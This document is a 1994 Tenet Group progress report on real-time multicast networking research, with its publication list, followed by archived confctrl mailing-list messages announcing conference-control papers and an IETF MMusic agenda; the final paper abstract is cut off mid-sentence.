.sp .5
.LP
.B
The Scheme 2 paradigm.\ \ 
.R
The initial design of the Tenet Group's second generation real-time
networking scheme, Scheme 2, has been completed.
The main focus of this work has been to extend the basic real-time
communication service provided by Scheme 1 in two important respects:
(a) provide support for efficient multi-party communication, and
(b) make
the client-service interface more flexible.
Support for multi-party communication includes
networking abstractions and 
mechanisms to improve the utilization of network
resources by multi-party communication.
An important networking abstraction introduced is the \fItarget set\fR,
which is similar to the host group in IP multicast.
Destinations join target sets depending on their interest in certain
data streams (e.g., video from a certain distributed conference).
Sources then establish channels to target sets, causing real-time
channels to be established (or at least attempted) to all destinations
in the
target set.
Join and leave primitives support dynamic membership in target sets.
Efficient utilization of network resources is achieved by the use of
true multicast and of sharing groups, which allow the network to use
application-specific information to share network resources among 
channels while maintaining the desired  performance guarantees.
To improve the flexibility of the client-service
interface, we allow several input parameters to be specified as ranges
rather than point values. The client can then specify a best/desired value
and a worst/acceptable value, thus eliminating (or at least
drastically reducing)
the need for iterative
negotiations.
The initial design was reviewed by internal
and external evaluators in October 1993.
Implementation will begin soon after incorporating feedback from the
design review.
Other features being considered for inclusion in Scheme 2 and Suite 2 are
support for virtual real-time networks, advance reservation algorithms,
the Dynamic Channel Management system, and fault recovery mechanisms.
The design of the Scheme 2 paradigm and interface has been done by a team
consisting of
\fBWolfgang Effelsberg\fR,
\fBDomenico Ferrari\fR,
\fBAmit Gupta\fR,
\fBWendy Heffner\fR,
\fBMark Moran\fR,
\fBEberhard M\*:uller-Menrad\fR,
\fBJean Ramaekers\fR (a former Tenet Group member from the University of
Namur, Belgium),
\fBClemens Szyperski\fR (who is now with Oberon Microsystems, Inc. in
Zuerich, Switzerland),
\fBGiorgio Ventre\fR (University of Naples, Italy),
\fBRon Widyono\fR,
\fBRaj Yavatkar\fR, and
\fBMakiko Yoshida\fR (NEC, Kawasaki, Japan).
.sp .5
.LP
.B
Routing multicast real-time channels.\ \ 
.R
\fBRon Widyono\fR and
\fBMark Moran\fR
have been studying the problem of routing real-time multicast channels
for Scheme 2.
The main emphasis over the last several months has been on building the
simulator (described in the next paragraph),
determining a metric for evaluating and comparing routing
algorithms, and developing
a cost function that will accurately
reflect the availability of critical network resources.
Routing algorithms will be evaluated on the basis of a direct
measurement of the number of channels established from both
hand-written and randomly-generated scripts of channel establishment
attempts.
Several indirect evaluation
metrics that be would easier to measure have also been examined;
however, these were rejected
because they did not appear to be strongly 
correlated with the main evaluation metric.
A preliminary cost function has been developed that reflects the
availability of throughput and the schedulability on each link.
Since the cost function should reflect the availability of
network resources, the suitability of the cost function
as an indirect evaluation metric will have to be checked.
Routing algorithms are being adapted to incorporate the
end-to-end delay bound as a constraint.
Cost functions and
evaluation metrics will be evaluated by simulations.
.sp .5
.LP
.B
Scheme 2 simulator.\ \ 
.R
\fBRon Widyono\fR, \fBAmit Gupta\fR, \fBMark Moran\fR, and \fBWendy Heffner\fR
are working on a simulation tool for Scheme 2 based on the Scheme 1 simulator 
Galileo.  Galileo has been enhanced to support the establishment of multicast
(1-to-N) channels.  The modifications include a routing module, basic multiple 
destination establishment, resource partitioning, and a new "greedy" resource 
reservation relaxation policy.  
The routing module allows for the 
implementation of multiple routing algorithms and for easy selection from
among them.  A routing algorithm's view of the network, which includes link
costs, can be dynamically updated by nodes to reflect changing resource 
availability.  The resource partitioning work (described in the next
paragraph) allows
for the processing, 
scheduling, and buffer space resources to be partitioned in such a way that 
admission control and resource allocation during channel establishment are 
bounded by the partition limits.  In multicast channel establishment, the 
relaxation of resource reservations needs to be done more intelligently to 
avoid inefficiencies brought upon by the conflicting requirements from the
multiple destinations.  A "greedy" policy is being evaluated, in which
relaxation proceeds from destination to source with each node taking as much
as possible.  Finally, real-life parameter values are being used in
simulation of a subset of the Internet multicast backbone (MBONE) to fine
tune the various parameters
affecting admission control and relaxation.
.sp .5
.LP
.B
Resource partitioning in real-time networks.\ \ 
.R
\fBDomenico Ferrari\fR and \fBAmit Gupta\fR
have investigated the problem of
partitioning the resources of an integrated-services network. An efficient
solution to this problem has many potential applications: for example, the
construction of virtual private networks, the fast establishment
of real-time channels, the re-routing of channels in mobile
communication, and the advance reservation of real-time channels.
The solution proposed by Ferrari and Gupta works within the
context of the Tenet schemes: per-partition
tests and computations have been shown to be derivable from
those that apply to the
entire network in each node; therefore, the subnetworks
defined by partitions of each node's resources can be treated
during channel establishment and teardown as though they were
independent and isolated networks. The amount of a resource
assigned to a given partition in a node may differ from the
amounts assigned to the same partition in all other nodes.
One of the partitions may be dedicated to non-real-time
traffic; its resources will not usually be
available to real-time traffic.
.sp .5 
.LP
.B
Advance reservation of real-time channels.\ \ 
.R
In the current Tenet scheme, 
the network provides the clients 
with quality-of-service guarantees during data transfer. 
However, 
for a service to be truly usable in multi-party applications,
the network ought to be able 
to guarantee the availability of its resources
at the time they will be needed.
This implies that the clients should be able 
to reserve 
channels with given characteristics and guarantees
in advance. 
\fBDomenico Ferrari\fR, 
\fBAmit Gupta\fR, 
and \fBGiorgio Ventre\fR (a former Tenet Group member from the
University of Naples, Italy),
have designed mechanisms
for supporting advance reservations 
in real-time communication networks.
.sp .5
.LP
.B
Dynamic Channel Management algorithms.\ \ 
.R
\fBColin Parris\fR is currently 
implementing the DCM scheme that provides a network with the 
ability to dynamically modify the traffic and performance parameters
as well as the routes of real-time connections. These modifications are subject
to a \fImodification contract\fR which specifies the degree of disruption that
a client can accept during these modifications. Dynamic Channel Management
consists of the DCM scheme and the DCM policy. The DCM scheme is a collection 
of algorithms that permit the modification of the parameters and routes,
whereas the DCM policy is a collection of rules that determine 
whether modifications should be attempted, and 
provide the appropriate traffic and performance 
parameters and the routing constraints to the DCM scheme.
The DCM scheme is being implemented using the Simple Network Management 
Protocol (SNMP) v1. In this implementation, a connection 
establishment or modification is achieved by doing an 
SNMP \fCset\fR on the traffic and performance objects
related to the appropriate link. SNMP \fCget\fR commands can
also be used to read the 
connection state information in the nodes. SNMP will also be used to monitor
RMTP/RTIP, thus providing DCM policies with full monitoring capabilities for
real-time traffic, as well as full control capabilities
for real-time connections
through the DCM schemes. Experiments will be conducted to compare the 
performance of this SNMP-based implemention with that of the RCAP (a 
signalling protocol) implemention.
.sp .5
.LP
.B
Fault recovery mechanisms.\ \ 
.R
\fBAnindo Banerjea\fR and \fBColin Parris\fR have performed simulation
experiments to investigate the factors influencing fault recovery
of real-time channels. The schemes to recover from single and multiple
link faults have been classified along a number of orthogonal dimensions
and each of these explored under varying network loads. The experiments
have been useful in isolating effective approaches to recovery and suggesting
improvements to the schemes.
.NH 1 
Continuous-Media Networking Applications
.sp .5
.LP
.B
Multimedia conferencing tools development and deployment.\ \ 
.R
\fBSteven McCanne\fR has been investigating schemes for efficient and
robust transport of video over packet-switching networks.  He has built
a video conferencing prototype called \fIvic\fR, which employs an
extensible architecture to facilitate experimentation with
video coding schemes and session protocols.  \fIVic\fR is
in production use on the Sequoia 2000 and Xunet 2 testbeds.
.sp .5
.LP
.B
Connecting remote users to the MBONE.\ \ 
.R
\fBAlberto Gil Solla\fR and
\fBAndr\o'e\''s Su\o'a\(aa'rez Gonz\o'a\(aa'lez\fR
have developed
PAT, Phone Assisted Teleconference, which will connect remote
users without workstation access to the
MBONE using a touch-tone
telephone. The connection will permit those
remote users either to lecture or to attend 
a conference over the network. In both cases,
the user will have access to audio, some state knowledge, and
control of the shared whiteboard.
.sp .5
.LP
.B
Characteristics of wide-area TCP connections.\ \ 
.R
In preparation for an investigation of the impact of
continuous-media applications on network performance
being planned by the Tenet Group,
\fBVern Paxson\fR has been studying the characteristics of
wide-area network traffic on today's Internet.
He has investigated growth-trend patterns at
a medium-sized Internet site, and developed analytic models
for characterizing the bulk transfer properties of wide-area TCP
connections.  He is currently investigating the time-series structure
of wide-area bulk transfer connections.
.NH 1
Tenet Group Members
.PP
The current members of the Tenet Group are the following graduate students
in the Department of Electrical Engineering and Computer Science at 
U. C. Berkeley: 
\fBAnindo Banerjea\fR,
\fBAmit Gupta\fR,
\fBWendy Heffner\fR,
\fBFukiko Hidano\fR,
\fBEdward Knightly\fR,
\fBSteven McCanne\fR,
\fBBruce Mah\fR,
\fBRebbie Moon\fR,
\fBMark Moran\fR,
\fBColin Parris\fR,
\fBVern Paxson\fR,
\fBBrian Whetten\fR,
\fBRon Widyono\fR,
and
\fBHui Zhang\fR;
an undergraduate student in EECS at U.C. Berkeley,
\fBHoofar Razavi\fR;
a U.C. Berkeley Computer Science Reentry Program student, \fBAnisoara Nica\fR;
the following visiting scholars and researchers:
\fBRiccardo Bettati\fR, from University of Illinois at Urbana-Champaign;
\fBWolfgang Effelsberg\fR, from the University of Mannheim, Germany;
\fBAlberto Gil Solla\fR,
from the Escola Tecnica Superior
de Enxe\o'n\~'eiros
de Telecomunicacion de Vigo, Spain;
\fBJune Kato\fR,
from NTT Software Laboratories, Tokyo, Japan;
\fBLawrence Landweber\fR, from the University of Wisconsin at Madison;
\fBMasaya Miyazaki\fR, from the Information Systems Research Laboratory (ISL),
Matsushita Electric Industrial Co., Ltd., Osaka, Japan;
\fBEberhard M\*:uller-Menrad\fR, from the University of Munich, Germany;
\fBPillalamarri Seshasayi\fR, from Siemens, Munich, Germany;
\fBAndr\o'e\''s Su\o'a\(aa'rez Gonz\o'a\(aa'lez\fR,
from the Escola Tecnica Superior
de Enxe\o'n\~'eiros
de Telecomunicacion de Vigo, Spain;
\fBFred Templin\fR,
from the External Research Program of Digital Equipment Corporation, Maynard,
Massachusetts, U.S.A.;
\fBHirohisa Wakai\fR,
from Sharp Information Technology Research Laboratories, Nara, Japan;
\fBRaj Yavatkar\fR, from the University of Kentucky;
the co-leader of ICSI's Networks Group,
\fBAndres Albanese\fR, 
and the leader of the Tenet Group,
\fBDomenico Ferrari\fR.
.NH 1
Tenet Group Publications
.PP
The Tenet Group publications since the
beginning of 1992 are listed below.
Unless otherwise noted, the publications
are available by electronic mail from the Tenet file server
\fB(file-server@tenet.berkeley.edu)\fR.  
Instructions on how to use the file server 
may be obtained by sending it a mail 
message with the one-word subject: \fIHelp\fR. 
The same publications are also available by anonymous ftp to
tenet.berkeley.edu.
Inquiries for further information should be directed to the Tenet Group leader,
Professor \fBDomenico Ferrari\fR, Computer Science Division,
571 Evans Hall, University of California, Berkeley CA 94720.  
Electronic mail may be sent to \fBferrari@cs.berkeley.edu\fR.
.sp 1.5
.KS
.LP
A. Banerjea and S. Keshav,
\*QQueuing Delays in Rate Controlled Networks\*U,
Technical Report TR-92-015, 
International Computer Science Institute, Berkeley, CA, February 1992;
also in
\fIProc. INFOCOM'93\fP, 
San Francisco, March-April 1993.
.KE
.KS
.LP
A. Banerjea, C. Parris and D. Ferrari,
\*QRecovering Guaranteed Performance Service Connections from Single and 
Multiple Faults\*U, Technical Report
TR-93-066, International Computer Science Institute, Berkeley, CA,
November 1993.
.KE
.KS
.LP
R. C\o'a\(aa'ceres, 
\*QMultiplexing Traffic at the Entrance to Wide-Area Networks\*U, 
Ph.D. Dissertation, Technical Report UCB/CSD 92/717, 
University of California, Berkeley, December 1992.
.KE
.KS
.LP
P. Danzig, S. Jamin, R. C\o'a\(aa'ceres, D. Mitzel, and D. Estrin,
\*QAn Empirical Workload Model for Driving Wide-Area TCP/IP
Network Simulations\*U,
\fIJournal of Internetworking: Research and Experience\fR, 
vol. 3, no. 1, pp. 1-26, March 1992.
.KE
.KS
.LP
W. Effelsberg, E. M\*:uller-Menrad,
\*QDynamic Join and Leave for
Real-Time Multicast\*U, Technical Report TR-93-056,
International Computer Science
Institute, Berkeley, CA, October 1993.
.KE
.KS
.LP
N. Faller,
\*QMeasuring the Latency Time of Real-Time UNIX-like Operating Systems\*U,
Technical Report TR-92-037, 
International Computer Science Institute, Berkeley, CA,
June 1992.
.KE
.KS
.LP
D. Ferrari,
\*QA New Admission Control Method for Real-Time Communication
in an Internetwork\*U
in S. Son, Ed.,
.ul
Real-Time Systems.
Prentice-Hall, Englewood Cliffs, NJ, 1994.
.KE
.KS
.LP
D. Ferrari, 
\*QDesign and Applications of a Delay Jitter Control
Scheme for Packet-Switching Internetworks\*U, 
\fIProc. Second International Workshop on Network 
and Operating System Support for Digital Audio and Video\fR, 
Springer-Verlag, Heidelberg, Germany, pp. 72-83, November 1991;
also in \fIComputer Communications\fR, vol. 15, n. 6, 
pp. 367-373, July-August 1992.
.KE
.KS
.LP
D. Ferrari,
\*QDistributed Delay Jitter Control in Packet-Switching Internetworks\*U,
Technical Report TR-91-056, 
International Computer Science Institute, Berkeley, CA,
October 1991; 
also in \fIJournal of Internetworking: Research
and Experience\fR, 
vol. 4, n. 1, pp. 1-20, 1993.
.KE
.KS
.LP
D. Ferrari, 
\*QReal-Time Communication in an Internetwork\*U,
\fIJournal of High Speed Networks\fR, vol. 1, n. 1, pp.79-103, 1992; also
Technical Report TR-92-001, International Computer Science Institute,
Berkeley, CA, January 1992.
.KE
.KS
.LP
D. Ferrari, A. Banerjea, and H. Zhang,
\*QNetwork Support for Multimedia - A Discussion of the Tenet Approach\*U,
Technical Report TR-92-072, International Computer Science Institute,
Berkeley, CA,
October 1992.
.KE
.KS
.LP
D. Ferrari and A. Gupta,
\*QResource Partitioning for Real-Time Communication\*U,
.ul
Proc. IEEE Symp. on Global Data Networking,
Cairo, Egypt, December 1993.
.KE
.KS
.LP
D. Ferrari, A. Gupta, M. Moran, and B. Wolfinger,
\*QA Continuous Media Communication Service and its Implementation\*U,
\fIProc. GLOBECOM '92\fP, 8A.02.,
Orlando, Florida, December 1992.
.KE
.KS
.LP
D. Ferrari, J. Ramaekers, and G. Ventre,
\*QClient-Network Interactions in Quality of Service Communication
Environments\*U, \fIProc. 4th IFIP Conf. on High Performance Networking\fR,
pp. E1-1\(enE1-14, Liege, Belgium, December 1992.
.KE
.KS
.LP
T. Fisher,
\*QReal-Time Scheduling Support in ULTRIX-4.2 for Multimedia
Communication\*U,
\fIProc. Third International Workshop on Network and Operating System
Support for Digital Audio and Video\fR, San Diego, November 1992.
.KE
.KS
.LP
A. Gupta, W. Heffner, M. Moran, C. Szyperski,
\*QNetwork Support for
Realtime Multi-Party Applications\*U, Fourth International Workshop
on Network and Operating System Support for Digital Audio and
Video, Lancaster, England, November, 1993.
.KE
.KS
.LP
A. Gupta and M. Moran, 
\*QChannel Groups: A Unifying Abstraction for Specifying
Inter-Stream Relationships\*U, 
Technical Report TR-93-015, 
International Computer Science Institute, Berkeley, CA, March 1993.
.KE
.KS
.LP
K. Keeton, B. Mah, S. Seshan, R. Katz, and D. Ferrari,  \*QProviding
Connection-Oriented Network Services to Mobile Hosts\*U,
\fIProc. of the 1993 USENIX Symposium on Mobile and
Location-Independent Computing\fP, Cambridge, Massachusetts, August 1993.
.KE
.KS
.LP
E. Knightly and G. Ventre,
\*QGalileo: a Tool for Simulation and Analysis of Real-Time Networks\*U,
Technical Report TR-93-008, 
International Computer Science Institute, Berkeley, CA, March 1993;
also in 
\fIProc. IEEE 1993 International Conference on Network 
Protocols\fR, San Francisco, California, October 1993.
.KE
.KS
.LP
B. Mah, 
\*QA Mechanism for the Administration of Real-Time Channels\*U,
MS Report, Technical Report UCB/CSD 93/735, 
University of California, Berkeley, March 1993.
.KE
.KS
.LP
B. Mah, S. Seshan, K. Keeton, R. Katz, and D. Ferrari, \*QProviding
Network Video Service to Mobile Clients\*U, \fIProc.
Fourth Workshop on Workstation Operating Systems\fP, Napa, California,
October 1993.
.KE
.KS
.LP
M. Moran and R. Gusella, 
\*QSystem Support for Efficient Dynamically-Configurable 
Multi-Party Interactive Multimedia Applications\*U, 
\fIProc. Third International Workshop on Network and 
Operating Systems Support for Digital Audio and Video\fP, 
San Diego, November 1992.
.KE
.KS
.LP
E. M\*:uller-Menrad,
\*QDynamic Membership in Real-time Multicast
Groups\*U, MS report, Technische Universitat Muenchen, 1993
(in English). 
.KE
.KS
.LP
C. Parris and A. Banerjea,
\*QAn Investigation into Fault Recovery
in Guaranteed Performance Service Connections\*U,
Technical Report TR-93-054, International Computer Science Institute,
Berkeley, CA, October 1993.
.KE
.KS
.LP
C. Parris and  D. Ferrari,
\*QA Resource Based Pricing Policy for Real-Time Channels in a Packet-Switching
Network\*U,
Technical Report TR-92-018, International Computer Science
Institute, Berkeley, CA, March 1992.
.KE
.KS
.LP
C. Parris, S. Keshav, and  D. Ferrari,
\*QA Framework for the Study of Pricing in Integrated Networks\*U,
Technical Report TR-92-016, International Computer Science
Institute, Berkeley, CA, March 1992.
.KE
.KS
.LP
C. Parris, G. Ventre, and H. Zhang,
\*QGraceful Adaptation of
Guaranteed Performance Service Connections\*U,
\fIProc. IEEE GLOBECOM`93\fR,
Houston, Texas, November 1993.
.KE
.KS
.LP
C. Parris, H. Zhang, and D. Ferrari, 
\*QA Mechanism for Dynamic Re-Routing of Real-Time Channels\*U, 
Technical Report TR-92-053, 
International Computer Science Institute, Berkeley, CA, August 1992.
.KE
.KS
.LP
C. Parris, H. Zhang, and D. Ferrari,
\*QDynamic Management of Guaranteed Performance Multimedia Connections\*U,
to appear in \fIACM/Springer-Verlag Multimedia Systems\fR, 1994.
.KE
.KS
.LP
V. Paxson,
\*QEmpirically-Derived Analytic Models of Wide-Area TCP Connections:
Extended Report\*U,
submitted to \fIIEEE/ACM Transactions on Networking\fR.
.LP
V. Paxson,
\*QGrowth Trends in Wide-Area TCP Connections\*U,
to appear in \fIIEEE Network\fR, 1994.
.KE
.KS
.LP
J. Ramaekers and G. Ventre, 
\*QQuality-of-Service Negotiation in a Real-Time Communication Network\*U, 
Technical Report TR-92-023, 
International Computer Science Institute, Berkeley, CA, April 1992.
.KE
.KS
.LP
J. Ramaekers and G. Ventre, 
\*QClient-Network Interaction in a Real-Time Communication Environment\*U, 
\fIProc. IEEE GLOBECOM '92\fP, 
Orlando, Florida, December 1992.
.KE
.KS
.LP
C. Szyperski and G. Ventre,
\*QA Characterization of Multi-Party Interactive Multimedia Applications\*U, 
\fIHigh-Performance Network Research Report 1/93\fP, 
and Technical Report TR-93-006, 
International Computer Science Institute, Berkeley, CA, January 1993.
.KE
.KS
.LP
C. Szyperski and G. Ventre,
\*QEfficient Multicasting for Interactive Multimedia Applications\*U, 
Technical Report TR-93-017, 
International Computer Science Institute, Berkeley, CA, March 1993.
.KE
.KS
.LP
C. Szyperski and G. Ventre,
\*QEfficient Group Communication with Guaranteed Quality
of Service\*U, \fIProc. Fourth IEEE Workshop on Future Trends in
Distributed Computing
Systems\fR, Lisboa, Portugal, September 1993.
.KE
.KS
.LP
D. Verma and D. Ferrari,
\*QEvaluation of Overflow Probabilities in Resource Management\*U,
Technical Report TR-91-051, International Computer Science Institute,
Berkeley, CA, October 1991; also in
\fIProc. ICC'92\fR,
Chicago, Illinois, 341.6.1-341.6.5, June 1992.
(not available from the file server)
.KE
.KS
.LP
D. Verma and D. Ferrari,
\*QVariation of Traffic Parameters in ATM Networks\*U,
\fIProc. ICC'92\fR,
Chicago, Illinois, 325.2.1-325.2.5, June 1992.
(not available from the file server)
.KE
.KS
.LP
H. Zhang,
\*QService Disciplines For Integrated Services Packet-Switching
Networks\*U, Ph.D dissertation, University of California at 
Berkeley, Nov. 1993.
.KE
.KS
.LP
H. Zhang and D. Ferrari,
\*QImproving Utilization for Deterministic Service
In Multimedia Communication\*U,
submitted for publication, Nov. 1993.
.KE
.KS
.LP
H. Zhang and D. Ferrari,
\*QRate-Controlled Static Priority Queueing\*U, 
Technical Report TR-92-003, International Computer Science Institute,
Berkeley, CA, January 1992;
also in
\fIProc. INFOCOM'93\fP, 
San Francisco, March-April 1993.
.KE
.KS
.LP
H. Zhang and D. Ferrari,
\*QProviding Deterministic Guarantees For Bursty 
Traffic\*U, to appear in \fIProc. Workshop On the Role of Real-Time in 
Multimedia/Interactive Computing Systems, IEEE Real-Time Systems 
Symposium'93\fR,  Raleigh-Durham NC, Nov. 1993.
.KE
.KS
.LP
H. Zhang and T. Fisher, 
\*QPreliminary Measurements of the Real-Time Internet Protocol\*U, 
\fIProc. Third International Workshop on Network 
and Operating System Support for Digital Audio and Video\fP, 
San Diego, November 1992.
.KE
.KS
.LP
H. Zhang and E. Knightly,
\*QProviding End-to-End Statistical Guarantees
Using Interval Dependent Stochastic Models\*U,
submitted for
publication,  Oct. 1993.
.KE

From owner-confctrl  Tue Jan 25 07:13:00 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA28799>; Tue, 25 Jan 1994 18:45:01 -0800
Received: from WOLFE.BBN.COM by venera.isi.edu (5.65c/5.61+local-14)
	id <AA28717>; Tue, 25 Jan 1994 18:42:42 -0800
Message-Id: <199401260242.AA28717@venera.isi.edu>
Date: Tue, 25 Jan 94 12:13 EST
From: Walter Milliken <milliken@BBN.COM>
Subject: Draft of Resource Coordination Object paper available
To: dartnet, end2end-interest, confctrl

As promised to some of you (some time ago, I'm afraid), the RCO paper is
finally available:

  A draft of the paper "Resource Coordination Objects: A State
  Distribution Mechanism" is now available by anonymous FTP on
  clynn.bbn.com as pub/docs/RCOs.ps.

  This paper describes a general mechanism for managing semi-persistent
  distributed state in a network, and shows how such a mechanism might
  be used as a common infrastructure for building network services
  including setup protocols like RSVP, routing protocols, and
  session-management mechanisms.

  The intent of the RCO mechanism is to provide the sort of common
  infrastructure leverage for distributed-state control protocols that
  TCP provides for application protocols needing point-to-point data
  transport.

If there are comments on the paper, please copy me on any messages,
since I don't currently follow end2end or confctrl.


---Walter

From owner-confctrl  Tue Feb 22 09:46:29 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA09258>; Tue, 22 Feb 1994 11:59:56 -0800
Received: from smcvax.smcvt.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA09247>; Tue, 22 Feb 1994 11:59:54 -0800
Received: from SMCVAX.SMCVT.EDU by SMCVAX.SMCVT.EDU (PMDF #3520 ) id
 <01H96UHXRQ4G8Y56CP@SMCVAX.SMCVT.EDU>; Tue, 22 Feb 1994 14:46:30 EST
Date: 22 Feb 1994 14:46:29 -0500 (EST)
From: "Gary C. Kessler, +1 802-655-8633" <KUMQUAT@SMCVAX.SMCVT.EDU>
Subject: 19th LCN: Deadline approaching for paper submission...
To: atm@hpl.hp.com, comp.dcom.cell-relay@indiana.edu,
        cellular@dfv.rwth-aachen.de, confctrl, fc-ip-ext@think.com,
        fddi-sync@merit.edu, frftc@nsco.network.com, hippi@think.com,
        isdn@list.prime.com, repeater%sunoco@relay.nswc.navy.mil,
        rolc@network.com, smdstc@nsco.network.com, smds-users@nas.nasa.gov,
        snmp2@thumper.bellcore.com, snmp-wg@nisc.nyser.net,
        st@ibminet.awdpa.ibm.com, tcp-ip@nic.ddn.mil, tuba@lanl.gov,
        wireless@tandem.com
Message-Id: <01H96UHXRQ4I8Y56CP@SMCVAX.SMCVT.EDU>
Organization: Saint Michael's College
X-Vms-To: @[.LCN]LCNLIST
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT

Hi everyone.

Just a reminder that the deadline is approaching for submission of papers 
to the 19th Annual Conference on Local Computer Networks.  Papers will be 
accepted up until 28 March.  Please contact me at the address below if 
you'd like a(nother) Call for Papers.

Thanks!

/gary c. kessler

Program Chair, 19th LCN

Hill Associates
17 Roosevelt Highway
Colchester, VT  05446

+1 802-655-8633
+1 802-655-7974
kumquat@smcvax.smcvt.edu


From owner-confctrl  Thu Feb 24 07:22:33 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA24827>; Thu, 24 Feb 1994 09:22:43 -0800
Received: from LINC.CIS.UPENN.EDU by venera.isi.edu (5.65c/5.61+local-14)
	id <AA24822>; Thu, 24 Feb 1994 09:22:42 -0800
Received: from gradient.cis.upenn.edu (GRADIENT.CIS.UPENN.EDU [158.130.4.2]) by linc.cis.upenn.edu (8.6.5/UPenn 1.4) with SMTP
	id MAA21064 for <confctrl@isi.edu>; Thu, 24 Feb 1994 12:22:36 -0500
Received: from LOCALHOST.upenn.edu by gradient.cis.upenn.edu
	id AA20946; Thu, 24 Feb 94 12:22:33 EST
Posted-Date: Thu, 24 Feb 1994 12:22:33 EST
Message-Id: <9402241722.AA20946@gradient.cis.upenn.edu>
To: confctrl
Subject: Could you subscribe me to this list?
Date: Thu, 24 Feb 1994 12:22:33 EST
From: Anshul Kantawala <anshul@gradient.cis.upenn.edu>

Thanks,
Anshul Kantawala

From owner-confctrl  Tue Mar 22 18:22:03 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA21423>; Tue, 22 Mar 1994 10:22:42 -0800
Received: from bells.cs.ucl.ac.uk by venera.isi.edu (5.65c/5.61+local-14)
	id <AA21417>; Tue, 22 Mar 1994 10:22:39 -0800
Message-Id: <199403221822.AA21417@venera.isi.edu>
Received: from danger.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.08292-0@bells.cs.ucl.ac.uk>; Tue, 22 Mar 1994 18:22:07 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666 or +44 71 387 7050 ext 3666
To: confctrl
Cc: Van Jacobson <van@ee.lbl.gov>, Ron Frederick <frederic@parc.xerox.com>,
        mccanne@ee.lbl.gov (Steven McCanne), mice@cs.ucl.ac.uk,
        I.Wakeman@cs.ucl.ac.uk, J.Crowcroft@cs.ucl.ac.uk
Subject: CCCP: Draft paper
Date: Tue, 22 Mar 94 18:22:03 +0000
Sender: M.Handley@cs.ucl.ac.uk


We finally got around to writing up our ideas on CCCP (Conference Control
Channel Protocol), which we first mentioned at the Amsterdam IETF. 

A paper which I hope to discuss in Tuesday's mmusic session at the IETF is
available from our ftp server:

ftp://cs.ucl.ac.uk/mice/publications/cccp.ps{.gz}

Comments, ideas, flames etc are all welcome.

Mark

-------

CCCP: Conference Control Channel Protocol,
A scalable base for building conference control applications

Mark Handley
Ian Wakeman

Abstract:

This paper presents CCCP, a new conference control scheme intended for use
in conferences ranging from small, tightly coupled meetings, to extremely
large loosely coupled seminars.  We describe the requirements of such
a scheme, and present a framework for building solutions and for connecting
together existing applications.
 

From schooler  Tue Mar 22 06:20:47 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA01190>; Tue, 22 Mar 1994 14:21:35 -0800
From: schooler (Eve Schooler)
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA01184>; Tue, 22 Mar 1994 14:21:27 -0800
Date: Tue, 22 Mar 1994 14:20:47 -0800
Posted-Date: Tue, 22 Mar 1994 14:20:47 -0800
Message-Id: <199403222220.AA01391@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA01391>; Tue, 22 Mar 1994 14:20:47 -0800
To: confctrl
Subject: MMusic WG agenda
Cc: schooler, abel@thumper.bellcore.com, mankin@itd.nrl.navy.mil



Hi folks,

Below is a preliminary agenda for the upcoming IETF meeting, though
there are still some tentative changes to be made to it.  Any/all
comments are welcome.

I see the first MMusic meeting as a good staging ground for a discussion on
the convergence of architecture ideas and their implementation.  There
is a lot of agreement in the overall approaches.  However, no one has
spent enough time *really* talking about the protocols in use.  I would
like for the discussion to concentrate on the protocol details -- the
functionality supported, the messaging specifics, the scaling
properties, etc.  I'm hoping we can really get into the details of the
protocol control flow and content.  

The second session is really about linkages between session control and
other services, and is likely to be more free form. 

In addition, Bala Rajagopalan <braja@qsun.att.com> has been kind enough 
to put together a confctrl bibliography for the group.  It is available
as ftp.isi.edu:confctrl/bib/README.  Also, you might want to pick up the
excellent paper by Handley and Wakeman which is available via anonymous
FTP at cs.ucl.ac.uk:mice/publications/cccp.ps{.gz}

E.


			MMusic WG Agenda

Tuesday, March 29
930-1200

    o	brief WG background and update
    o	agenda revisions
    o	requirements and protocols: comparison/discussion/convergence?
		CCCP architecture, Mark Handley, UCL
		Synch protocol session model, Julio Escobar, BBN
		MMCC evolution, Eve Schooler, ISI
		[possibly others]

Wednesday, March 30
930-1200

    o	agreement protocol update, Abel Weinrib, Bellcore
    o	impact of WWW, Bill Fenner, NRL
    o	developments in reliable multicast, Bala Rajagopalan, AT&T
    o	discussion of WG direction 


From owner-confctrl  Wed Mar 23 09:34:29 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA13299>; Wed, 23 Mar 1994 14:34:38 -0800
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-14)
	id <AA13291>; Wed, 23 Mar 1994 14:34:34 -0800
Received: from [128.96.33.59] (homeabel.bellcore.com [128.96.33.59]) by thumper.bellcore.com (8.6.7/8.6.4) with SMTP id RAA05265; Wed, 23 Mar 1994 17:34:27 -0500
Message-Id: <199403232234.RAA05265@thumper.bellcore.com>
X-Sender: abel@128.96.33.6
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 23 Mar 1994 17:34:29 -0800
To: confctrl
From: abel@bellcore.com (Abel Weinrib)
Subject: Draft paper on agreement algorithm
Cc: schooler, shenker@parc.xerox.com

Scott Shenker spoke at the last IETF on a general framework for managing
shared teleconferencing state.  We now have a draft document on this work.
You can ftp it from thumper.bellcore.com:pub/abel/agree.ps

We are very interested in comments on this draft.  Perhaps we can have a
discussion during the second mmusic meeting about how this work relates to
that described in the document on CCCP that was announced to this mailing
list a couple of days ago.

Looking forward to seeing many of you next week.

                        --Abel Weinrib


======
                                Abstract

In recent years there has been dramatic progress on the enabling
technologies for workstation-based multimedia teleconferencing
applications.  We expect that such applications will soon become an
important component of many future social and business interactions.
Teleconferencing applications have aspects of their state, such as
membership, encryption, and media encoding, that are under joint control.
Much of this state is {\em ephemeral}, in that it is of importance only for
the duration of a session, and does not have importance outside of the
session itself.  In this paper we focus on the specification and
realization of policies for managing this shared ephemeral teleconferencing
